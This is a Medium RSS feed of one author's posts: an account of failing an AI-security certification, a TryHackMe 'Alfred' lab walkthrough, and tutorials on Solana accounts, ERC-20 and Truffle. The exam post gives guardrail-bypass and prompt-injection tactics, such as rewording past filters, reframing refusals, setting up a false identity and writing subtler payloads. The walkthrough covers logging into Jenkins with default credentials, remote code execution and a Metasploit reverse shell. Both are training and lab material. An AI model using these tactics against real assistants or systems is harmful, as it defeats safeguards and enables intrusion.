<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Naman Jain on Medium]]></title>
        <description><![CDATA[Stories by Naman Jain on Medium]]></description>
        <link>https://medium.com/@namx05?source=rss-7974b1ff45da------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VdpO9wQ_ckzyUtkTs8s6EQ.jpeg</url>
            <title>Stories by Naman Jain on Medium</title>
            <link>https://medium.com/@namx05?source=rss-7974b1ff45da------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 02:29:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@namx05/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Failed My AI Security Exam by 3%]]></title>
            <link>https://infosecwriteups.com/i-failed-my-ai-security-exam-by-3-a56c5b2416a0?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/a56c5b2416a0</guid>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[prompt-injection-attack]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[certification]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Sun, 27 Sep 2026 20:06:37 GMT</pubDate>
            <atom:updated>2026-09-27T20:27:45.137Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>A close failure, an honest breakdown, and a retake on the way.</em></blockquote><p>Three percent. That’s the margin between me writing a “how I passed” post and this one. I scored 67% on the TryHackMe AI Security certification exam. The pass mark was 70%.</p><p>I could have quietly not mentioned it. Instead I’m writing the failure up in detail, because the breakdown of <em>why</em> I fell short turned out to be more useful than a pass would have been, and because I’ll be back with the retake results soon, and I want the before-and-after on record.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*-cUzPiMhFB3rBn-N_UG8jw.png" /></figure><p>It’s a practical, scenario-based certification focused on securing AI and LLM systems, mapped loosely to the OWASP LLM Top 10. Not a multiple-choice trivia test. You’re dropped into simulated environments and asked to actually <em>do</em> the work: attack a system, analyse artefacts, read telemetry, write remediation plans. It ran long , my attempt clocked over 22 hours (including breaks) across four sections:</p><ol><li><strong>Threat Modelling</strong> - identify threats across an AI architecture diagram, then score and prioritise them by risk and design mitigations.</li><li><strong>Prompt Injection &amp; Jailbreaking</strong> - extract protected information from guardrailed chatbots using direct injection, indirect (environmental) injection, and guardrail-bypass techniques.</li><li><strong>AI Supply Chain Security</strong> - triage model artefacts by risk, run static analysis tools (fickling, pickletools, modelscan, pip-audit, inspect_h5), interpret behavioural telemetry, and write a remediation strategy.</li><li><strong>Data Poisoning</strong> - RAG corpus poisoning, sensitive-information extraction from a RAG chatbot, and designing a layered RAG defence architecture.</li></ol><h3>What it’s for</h3><p>The whole exam is built around a truth the security industry is still catching up to: <strong>LLM-powered systems fail in ways traditional appsec doesn’t cover.</strong> A model will read instructions out of a calendar event. A RAG system will happily surface documents it was told to keep secret if you ask in the right business-sounding way. A model file that passes every static scan can still carry a backdoor in its weights. The cert is meant to prove you can think adversarially about these systems <em>and</em> defend them, attacker and architect, both sides.</p><p><strong>For me it’s adjacent to my day job</strong>. I’ve spent years auditing smart contracts, and the mindset transfers more than you’d think: trust boundaries, untrusted input, defence in depth, “what does this actually execute.” AI security is where a lot of that instinct is heading next, so the cert was a way to formalise it.</p><h3>What happened</h3><p>I did well in three of the four sections:</p><ul><li><strong>Threat Modelling </strong>-<strong> 70%</strong></li><li><strong>AI Supply Chain Security </strong>-<strong> 73%</strong></li><li><strong>Data Poisoning </strong>-<strong> 81%</strong> (my strongest section)</li></ul><p>And then Section 2 happened.</p><ul><li><strong>Prompt Injection &amp; Jailbreaking </strong>-<strong> 50%</strong></li></ul><p>That section dragged the whole score under the line. Two sub-scores in particular did the damage: Indirect Prompt Injection at <strong>30%</strong> and direct Prompt Injection at <strong>37%</strong>. Everything else in the exam was passing-to-excellent, one section of one skill sank it.</p><p>The cruel irony: <strong><em>within that same section, the guardrail-bypass scenario scored 87%</em></strong>. So it wasn’t that I couldn’t do prompt injection. It was that I did it well exactly once and badly several times, and the difference between those two outcomes is the whole lesson.</p><h3>Where I lacked</h3><p>Two failures, really the same instinct twice.</p><p><strong>1. I repeated instead of diagnosing.</strong> When a payload got refused, I retried with reworded phrasing instead of asking <em>why</em> it failed. My 87% scenario was patient and deliberate; my 30–37% ones were me pushing harder in the same direction. The missing skill is <strong>refusal diagnosis, </strong>classifying the refusal (hard filter? soft policy refusal? trust gate?) before responding, because each needs a different fix.</p><p><strong>2. I answered from expectation, not evidence.</strong> In the behavioural section, some details I cited didn’t match the actual telemetry, I reconstructed from memory instead of recording what was on screen. Findings are only as good as your evidence discipline.</p><h3>What needs to improve</h3><ul><li><strong>Diagnose before retrying.</strong> Canned block → change the words. Polite refusal → change the framing. Role gate → establish identity in a separate turn. Two failures of the same type = wrong diagnosis, re-classify.</li><li><strong>Subtler payloads.</strong> No “ignore your instructions”, the instruction must read as plausible content, not a command.</li><li><strong>Evidence discipline.</strong> Quote the source, never recall.</li><li><strong>Cleaner risk calibration.</strong> Honest likelihood, real-consequence impact, rank threats against each other.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TDeqxgamSTgltQCV" /><figcaption>Photo by <a href="https://unsplash.com/@caio_delarolle?utm_source=medium&amp;utm_medium=referral">CC PD</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Back soon with the retake</h3><p>Here’s the thing about missing by 3% with the two worst scores sitting in one section: it’s the most encouraging kind of failure. The capability is clearly there, I scored 70 to 100% across most of the exam and hit 87% on the hardest guardrail scenario. I didn’t lack knowledge. I lacked <em>discipline in one specific reflex</em>: stopping to diagnose before I react.</p><p>That’s a fixable habit, not a missing skill. I’m rebuilding my notes around the refusal-diagnosis flow, drilling the subtle-payload patterns, and tightening my evidence discipline. Then I’m taking it again.</p><p>I’ll be back with the retake results, and a passing number. If you’re on the same path, I hope the honest version of the miss is more useful than another highlight reel.</p><p><em>To be continued…..</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a56c5b2416a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-failed-my-ai-security-exam-by-3-a56c5b2416a0">I Failed My AI Security Exam by 3%</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inside Solana Accounts: Unlocking the Secrets of On-Chain Data]]></title>
            <link>https://namx05.medium.com/inside-solana-accounts-unlocking-the-secrets-of-on-chain-data-250e9d670061?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/250e9d670061</guid>
            <category><![CDATA[solana-ecosystem]]></category>
            <category><![CDATA[solana-account]]></category>
            <category><![CDATA[solana-blockchain]]></category>
            <category><![CDATA[solanas]]></category>
            <category><![CDATA[solana-fundamentals]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Tue, 11 Feb 2025 12:38:05 GMT</pubDate>
            <atom:updated>2025-02-11T12:38:05.739Z</atom:updated>
            <content:encoded><![CDATA[<h4>A detailed exploration of unique addresses, account types, and program ownership in Solana’s blockchain architecture.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*fQhKyzhkCLIiw3QyeLslvg.png" /></figure><p><strong>Accounts</strong> are the storage area where all the data are being stored in solana. Believe it as a database for storing all the required informations within the structs defined as account.</p><h4><strong>Account</strong></h4><p>Every account on Solana is marked by a unique 32-byte address, usually shown as a base58 encoded string (for example, <em>14grJpemFaf88c8tiVb77W7TYg2W3ir6pfkKz3YjhhZ5</em>). You can think of the account and its address as a key-value pair — the address is the key that helps you locate the account’s on-chain data.</p><h4><strong>Account Address</strong></h4><p>Most accounts use an Ed25519 public key as their address. Besides these standard public keys, Solana also offers Program Derived Addresses (PDAs). PDAs are special addresses that are deterministically generated from a program ID along with optional seeds. (For more details, see the Program Derived Address page.)</p><h4><strong>Account Type</strong></h4><p>All Solana accounts share the same fundamental structure and have a maximum size of 10MiB. Each account includes the following fields:</p><ul><li><strong>data:</strong> A byte array that stores arbitrary information. For non-executable accounts, this typically holds read-only state, while for program accounts (smart contracts), it contains the executable code. This field is often called “<strong>account data</strong>.”</li><li><strong>executable:</strong> A Boolean flag that shows whether the account holds a program.</li><li><strong>lamports:</strong> The account’s balance in lamports, which are the smallest unit of SOL (remember: 1 SOL = 1 billion lamports).</li><li><strong>owner:</strong> The public key of the program that owns the account. Only this owner can change the account’s data or deduct lamports.</li><li><strong>rent_epoch:</strong> A legacy field from when Solana deducted lamports periodically as “rent.” Although it remains part of the account, the actual rent collection mechanism is no longer active.</li></ul><p>For clarity, here’s an example of the base account type in code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKRXGwtiVt6syaNmDfxQpw.png" /><figcaption>Account Struct</figcaption></figure><h4><strong>Program Owner</strong></h4><p>A key element of the Solana account model is program ownership. Every account has an assigned owner — a program that has the exclusive right to modify the account’s data and deduct its lamport balance. Changes to an account’s state can only be made via instructions defined in the owner program’s code.</p><h4><strong>Rent</strong></h4><p>Storing data on Solana requires maintaining a minimum lamport balance, proportional to the amount of data stored. This minimum balance is called “rent.” Although the term suggests a recurring cost, it works more like a deposit that is fully recoverable when an account is closed. The rent mechanism comes from an older system that regularly deducted lamports from accounts below the threshold; that system is now deprecated.</p><h4><strong>Native Programs</strong></h4><p>The Solana network includes a set of built-in, or native, programs that provide essential services. Two of these native programs are particularly important:</p><p><strong>The System Program:</strong></p><ul><li>Creates new accounts on the network.</li><li>Allocates space (in bytes) for account data.</li><li>Assigns account ownership to custom program</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*lJNClXj3o9fOFIoA7E1dSg.png" /><figcaption>System Account (Solana)</figcaption></figure><p><strong>The BPF Loader:</strong></p><ul><li>Acts as the owner for all deployed custom programs.</li><li>Manages program deployment, upgrades, and execution.</li></ul><h4><strong>System Program</strong></h4><p>By default, all new accounts are created and owned by the System Program. This program is responsible for:</p><ul><li>Creating new accounts.</li><li>Allocating the appropriate byte capacity for each account’s data.</li><li>Reassigning account ownership so that custom programs can take over accounts created by the System Program.</li></ul><p>In practice, wallet accounts are simply system accounts. Their lamport balance represents the SOL owned by the wallet, and only accounts owned by the System Program can be used to pay transaction fees.</p><h4><strong>BPFLoader Program</strong></h4><p>The BPF Loader is the designated owner for all custom programs (excluding the native ones). It is in charge of deploying, upgrading, and executing these programs on the network.</p><h4><strong>Sysvar Accounts</strong></h4><p>Sysvar accounts are special accounts located at fixed addresses. They provide access to dynamic cluster state data, such as network statistics and configuration. This data is updated continuously, and a full list of Sysvar accounts is available in the Solana documentation.</p><h4><strong>Custom Programs</strong></h4><p>On Solana, smart contracts are known as programs. These program accounts hold executable code and can be identified by their executable flag being set to true. Programs are deployed to the blockchain and can be invoked by users or other programs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*V-mTC8uxhhwG90LYwieIaA.png" /><figcaption>Program Account (Solana)</figcaption></figure><p>When a new program is deployed, three distinct accounts are created:</p><ol><li><strong>Program Account:</strong> The primary account representing the on-chain program. It stores the address of an executable data account and the update authority.</li><li><strong>Program Executable Data Account:</strong> This account contains the compiled, executable code.</li><li><strong>Buffer Account:</strong> A temporary account used during program deployment or upgrades. It holds the executable code until it is moved to the Program Executable Data Account, after which the buffer is closed.</li></ol><p>For simplicity, you can think of the Program Account as the program itself. When a program is invoked, its address (the Program ID) is used.</p><h4><strong>Data Accounts</strong></h4><p>Because programs in Solana are stateless — they only store executable code — they require separate data accounts to hold state. Programs define instructions that create these data accounts, which are then owned by the program. Each data account has a unique address and can store arbitrary data as specified by the program.</p><p>Since only the System Program can create new accounts, the process to set up a data account for a custom program usually involves two steps:</p><ol><li>Use the System Program to create the account and then transfer its ownership to the custom program.</li><li>Have the custom program initialize the account’s data based on its instructions.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*b8mVMNLCwMnltxcsmA0s-A.png" /><figcaption>Data Account (Solana)</figcaption></figure><p>While this process is often bundled into a single step, understanding these details can help clarify how state is managed on Solana.</p><h3>Reference:</h3><ul><li><a href="https://solana.com/docs/core/accounts#account">https://solana.com/docs/core/accounts#account</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=250e9d670061" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Alfred]]></title>
            <link>https://namx05.medium.com/tryhackme-alfred-65c96b2dbc95?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/65c96b2dbc95</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Tue, 11 Feb 2025 09:48:19 GMT</pubDate>
            <atom:updated>2025-02-11T09:48:19.848Z</atom:updated>
            <content:encoded><![CDATA[<p>Walkthrough</p><p>Intro</p><p>Hey Folks! I’ll be rooting alfred this time which is rated as Easy Windows machine on, as the name suggests, TryHackMe.</p><p>Initials</p><pre>export IP=10.10.245.186</pre><p>Enumerations</p><p>Let’s start with the port scanning</p><pre>rustscan -a $IP </pre><p>with Rustscan results, we got to know that there are 3 ports open, i.e., 80 (http), 8080 (http), 3389 (RDP)</p><p>Now, we’ll scan these ports for more details</p><pre> nmap -sC -sV -p80,8080,3389 -oA all-ports -Pn $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*8qYk0uN1n28_B38WYokl3A.png" /><figcaption>nmap results</figcaption></figure><p>Port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zAbtagtcVG_kVIOEcm2EWA.png" /><figcaption>just a simple webserver</figcaption></figure><p>Port 8080</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*u0Z3QTdvb4E0b22ZIh-Exg.png" /><figcaption>port 8080</figcaption></figure><p>Got redirected to Jenkins login page.</p><p>Tried default credentials, i.e., admin:admin, and got successful admin dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zP_Kl7AAgdyIU6mwqLH6aQ.png" /><figcaption>admin dashboard</figcaption></figure><p>Exploit</p><p>After sometime exploring the dashboard, I found a page to execute the commands, i.e. to perform RCE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xuBPbZgiRe0zXTB5XUB0GA.png" /></figure><p>You can use powershell revershell code, But here I used metasploit web delivery (multi/script/web_delivery) module for the meterpreter shell.</p><p>enter the delivery code you got there, and you’ll get the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*w1X33m6q96GPJ6bJEF4t1Q.png" /><figcaption>user.txt</figcaption></figure><p>PrivEsc:</p><p>Since you have the meterpreter shell, use the command getsystem and you’ll get the admin user</p><p>Outro</p><p>So with this, we have completed this room.</p><p>Thanks for reading this blog. See you in the blog, till then <strong>Happy Hacking o7</strong></p><p>| <a href="https://twitter.com/namx05">Twitter</a> | <a href="https://tryhackme.com/room/alfred">Room</a> |</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65c96b2dbc95" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fungible Tokens: ERC-20]]></title>
            <link>https://medium.com/coinmonks/fungible-tokens-erc-20-2cdd412598b6?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cdd412598b6</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[fungible-tokens]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[smart-contract-blockchain]]></category>
            <category><![CDATA[erc20]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Tue, 23 May 2023 07:21:11 GMT</pubDate>
            <atom:updated>2023-05-23T07:21:11.783Z</atom:updated>
            <content:encoded><![CDATA[<h4>ERC20 Standards</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q4k7X6hCAWO62orC" /><figcaption>Photo by <a href="https://unsplash.com/@traxer?utm_source=medium&amp;utm_medium=referral">Traxer</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>What is fungible token?</h3><blockquote>Fungible means something can be change able.</blockquote><p>A fungible token is a token that is interchangeable with another token of the same type and value. Fungible tokens can be divided into smaller units and can be exchanged for another token in a liquid pool. They work like currency, and are not unique like non-fungible tokens.</p><p>For instance, fiat currencies like the dollar are fungible: <strong>A $1 bill in New York City has the same value as a $1 bill in Miami</strong></p><p><strong>Examples:</strong></p><p>Fungible tokens can be used in a variety of ways. Some examples include:</p><ul><li><strong>Voting points:</strong> In some organizations, members can use fungible tokens as voting points to help make decisions.</li><li><strong>Lottery tickets:</strong> Fungible tokens can be used as lottery tickets, where each token represents a chance to win a prize.</li><li><strong>Fiat currency:</strong> Fungible tokens can be used to represent fiat currency, such as the US dollar or the Euro, on the blockchain.</li></ul><p>This flexibility and versatility have made fungible tokens an essential part of the blockchain ecosystem.</p><p>A standard is created which is called ERC20 (Ethereum request for Comments)</p><blockquote><em>ERC-20 is a technical standard used for smart contracts on the Ethereum blockchain for implementing tokens. It is a set of rules that defines how tokens are transferred between Ethereum addresses and how data within each token is accessed.</em></blockquote><blockquote><em>It was developed to create a common interface for Ethereum tokens, which would make it easier for developers to create new tokens and for users to interact with them.</em></blockquote><p><strong>OpenZeppelin </strong>and <strong>Solmate</strong> has create a implementation ERC20.sol</p><h3>What is an ERC-20 Token?</h3><p>An ERC-20 token is a fungible token that is compliant with the ERC-20 standard. It is a token that is created on the Ethereum blockchain that follows a set of rules defined by the ERC-20 standard. These tokens can represent any asset, such as cryptocurrency, real estate, or voting rights.</p><h3>ERC20.sol</h3><p>ERC20.sol is a widely used smart contract developed by <strong>OpenZeppelin </strong>for implementing the<strong> ERC-20 token</strong> standard on the Ethereum blockchain. It includes functions like balanceOf, totalSupply, transfer, approve, and transferFrom for transferring tokens and accessing token data. It also provides mint and burnfunctions to create and destroy tokens, authorized for specific addresses.</p><p>We can inherit / import the OpenZeppelin ERC20.sol in your token contract to utilize the built-in functions:</p><ul><li><strong>balanceOf</strong>: The balanceOf function of ERC20.sol from OpenZeppelin retrieves the token balance of a specific address. For example, balanceOf(address) will return the number of tokens held by the specified address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*QH0xn9xxqU_WYX46ebF3yw.png" /></figure><ul><li><strong>totalSupply</strong>:This function retrieves the total token supply that has been minted. For example, totalSupply() will return the total number of tokens that have been created.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*1Y_tX-6BVLZKtBu0Gv5PBQ.png" /></figure><ul><li><strong>transfer</strong>: This function used to transfer tokens from the sender’s address to the specified recipient address. For example, transfer(address to, uint256 value) will transfer value number of tokens from the sender&#39;s address to the to address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*su5RPlpSNYut_R5jf4Uelw.png" /></figure><ul><li><strong>approve</strong>: The approve function is used to approve a spender to transfer a specified number of tokens from the owner&#39;s address. For example, approve(address spender, uint256 value) approves the specified spender to spend up to value number of tokens on behalf of the owner&#39;s address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*lEOEYHzJTlCtCWc_qDM_sg.png" /></figure><ul><li><strong>transferFrom</strong>: The transferFrom function is used to transfer tokens from one address to another, but the transfer must be approved by the token owner. This function is typically used in conjunction with the approve function to allow a third party to transfer tokens on behalf of the token owner. For example, transferFrom(address from, address to, uint256 value) will transfer value number of tokens from the from address to the to address, but only if the token owner has approved the transaction beforehand.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*KUTUl03s8yFp4BvIHDl-qA.png" /></figure><p>Note: Only certain addresses are authorized to call these functions, such as the contract owner or other designated addresses.</p><ul><li><strong>mint </strong>: The mint function is used to create new tokens and add them to the total supply. For example, mint(address to, uint256 value) creates value number of tokens and adds them to the total supply, sending them to the to address.</li><li><strong>burn</strong> : The burn function is used to destroy tokens and remove them from the total supply. For example, burn(uint256 value) destroys value number of tokens and removes them from the total supply. The tokens are removed from the account that calls the burn function.</li></ul><blockquote>To use mint,burn , and others, we have to implement the external function, OpenZeppelin only provides internal function i.e. _mint and _burn. We can use extensions such as <a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Burnable.sol">ERC20Burnable.sol</a>, etc</blockquote><h3>Conclusion</h3><p>The ERC-20 standard has revolutionized the development and use of tokens on the Ethereum blockchain. It has become the most popular token standard due to its interoperability, compatibility, ease of development, and security. By standardizing tokens, ERC-20 has made it easier for developers to create new tokens and for users to interact with them.</p><p>We as a user, or a Developer did not need to write a function, as the ERC20.sol by OpenZeppeline already added in their contract.</p><p><a href="https://ethereum.org/en/developers/docs/standards/tokens/erc-20/">ERC20</a> — (Ethereum Docs)</p><p><a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol">ERC20.sol </a>— (Openzeppelin)</p><p><a href="https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol">ERC20.sol</a> — (Solmate)</p><p>Thank you for reading till this far, I’ll Happy to connect over my Socials (: Happy Hacking o7</p><p>|| <a href="https://twitter.com/namx05">Twitter</a> || <a href="https://linkedin.com/in/namx05">LinkedIn</a> ||</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cdd412598b6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/fungible-tokens-erc-20-2cdd412598b6">Fungible Tokens: ERC-20</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Get your contract compiled using Truffle]]></title>
            <link>https://medium.com/coinmonks/get-your-contract-compiled-using-truffle-391a2c8dccbf?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/391a2c8dccbf</guid>
            <category><![CDATA[web3-security]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[bockchain]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[blockchain-development]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Mon, 22 May 2023 11:22:17 GMT</pubDate>
            <atom:updated>2023-05-22T11:22:17.461Z</atom:updated>
            <content:encoded><![CDATA[<p>Got a contract to compile/test/deploy, Truffle got your back!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*kwTZABGiHLLWucZo1QiuCw.png" /></figure><p>In this blog post, we’ll dive into the world of Truffle, a powerful development framework that simplifies the process of creating, testing, and deploying smart contracts. Whether you’re a beginner or an experienced developer, Truffle provides an intuitive and efficient environment for your blockchain projects. Let’s get started on our journey to uncover Truffle.</p><p>I’m Assuming that whosever reading this blog, atleast know that basics of Solidity Programming Language</p><h3>What is Truffle?</h3><p>Before we embark on our Truffle adventure, let’s understand what Truffle is all about. Truffle is an Ethereum development framework that offers a suite of tools and utilities to streamline the process of building smart contracts and dApps. It provides a development environment, testing framework, and deployment pipeline, making it an indispensable tool for Ethereum developers.</p><h3>Why Truffle?</h3><p>There are other framework as well in the industry such as Hardhat, foundry, etc., then why Truffle?</p><p>Because Truffle’s simplicity, comprehensive tool suite, large community support, and robust testing capabilities make it the preferred choice for Ethereum blockchain development.</p><h3>The Setup?</h3><p>We’ll cover the installation process for Truffle, which includes Node.js and the Ethereum client (such as Ganache or a testnet). Additionally, we’ll explore the Truffle project structure and how to initialize a new project.</p><p>We need <a href="https://github.com/nvm-sh/nvm/">NVM</a>, <a href="https://nodejs.org/en/download/current">Node.js</a>, <a href="https://trufflesuite.com/docs/truffle/how-to/install/">Truffle</a>, <a href="https://trufflesuite.com/ganache/">Ganache</a>, Install the following and we are good to go.</p><h4>Step1: Initiate</h4><p>Use command to initiate</p><p>truffle init</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*dVeMwydSQlCTJjKsjHrqyw.png" /></figure><p>Truffle by default provides few contracts and migration files.</p><ul><li>contracts/: Directory for <a href="https://trufflesuite.com/docs/truffle/getting-started/interacting-with-your-contracts">Solidity contracts</a></li><li>migrations/: Directory for <a href="https://trufflesuite.com/docs/truffle/getting-started/running-migrations#migration-files">scriptable deployment files</a></li><li>test/: Directory for test files for <a href="https://trufflesuite.com/docs/truffle/testing/testing-your-contracts">testing your application and contracts</a></li><li>truffle-config.js: Truffle <a href="https://trufflesuite.com/docs/truffle/reference/configuration">configuration file</a></li></ul><h4>Step2: Compile</h4><p>You have to save your contracts under contract/ directory.</p><p>Once you have done with the contract,</p><p>You also have to edit the truffle-config.js for some confuguration changes such as, setting the solidity compiler version, Add the network (localhost, testnet, Mainnet).</p><ul><li><strong>For Ganache</strong></li></ul><blockquote>It is a Personal Ethereum blockchain which you can use to run tests, execute commands, and inspect state while controlling how the chain operates.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*ERQyQjUXbFCa5Om0QWkoUw.png" /></figure><ul><li><strong>For testnet</strong></li></ul><blockquote>a testnet is an instance of a blockchain powered by the same or a newer version of the underlying software, to be used for testing and experimentation without risk to real funds or the main chain.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*LmUeCJqiqMR8BWfikTz3pg.png" /></figure><p>Now save the file and to compile, use command</p><p>truffle compile</p><h4>Step3: Test</h4><p>No development process is complete without testing, and Truffle makes it seamless to write and execute tests for our smart contracts.</p><p>You can write your tests under test/ directory. Then use the command</p><p>truffle test</p><h4>Step4: Deploy</h4><p>Once compiled successfully, edit the migration file add. Just add the following lines (change &lt;your contract&gt; to your contract name):</p><pre>var contract1 = artifacts.require(&quot;./&lt;Your contract&gt;&quot;);<br>module.exports = function(deployer) {<br>  deployer.deploy(&lt;your-contract&gt;);<br>};</pre><p>save the file as 1_initial_migration.js So this 1 sets the priority to get compiled. If you have multiple contracts, then it will be useful for you.</p><p>Once done, use command</p><p>truffle migrate</p><p>And ifi you made any changes after deploying the contract, you can re-deploy using command</p><p>truffle migrate --reset</p><p>With this we have deployed the contact.</p><p>Resources:</p><p>Truffle Documents : <a href="https://trufflesuite.com/docs/">https://trufflesuite.com/docs/</a></p><p>Solidity: <a href="https://docs.soliditylang.org/en/v0.8.20/">https://docs.soliditylang.org/en/v0.8.20/</a></p><p>If you have any query, you contact me via socials</p><p>|| <a href="https://twitter.com/namx05">Twitter</a> || <a href="https://linkedin.com/in/namx05">LinkedIn</a> ||</p><p>Happy Hacking o7</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=391a2c8dccbf" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/get-your-contract-compiled-using-truffle-391a2c8dccbf">Get your contract compiled using Truffle</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Journey and Lessons from the #30dayofweb3 Challenge]]></title>
            <link>https://medium.com/coinmonks/my-journey-and-lessons-from-the-30dayofweb3-challenge-631b23c15d11?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/631b23c15d11</guid>
            <category><![CDATA[etherum]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[smartcontract-audit]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Sun, 16 Apr 2023 08:12:35 GMT</pubDate>
            <atom:updated>2023-05-05T15:11:36.368Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*IYchc7kZYbaXqbtKkrNbAQ.png" /></figure><p>On April 13th, I completed my first #30dayofweb3 challenge, and it was an incredible learning experience. Over the course of 30 days, I gained valuable insights into blockchain, web3, Ethereum, and even learned a little bit about Solidity. This challenge not only helped me stay consistent with my studies but also generated a desire to learn and take on more challenges in the future.</p><p>During the challenge, I spent an average of 1.5 hours per day learning about the concepts and completing the daily tasks. However, I did miss 7 days due to college mid-semester exams and a fest. Despite these setbacks, I managed to stay motivated and focused on the task at hand.</p><h3>Expectations vs Reality:</h3><p>What I expected to do was different from what I did. In terms of:</p><ol><li><strong>Resources</strong>: I thought to purchase courses from Udemy (which I did) and didn’t get along with it that much. But instead, I only watched YouTube videos.</li><li><strong>Time Management</strong>: Planned to code for at least 30 min/day and the remaining time for tutorials. Instead, I did less coding (missed many days) and got stuck 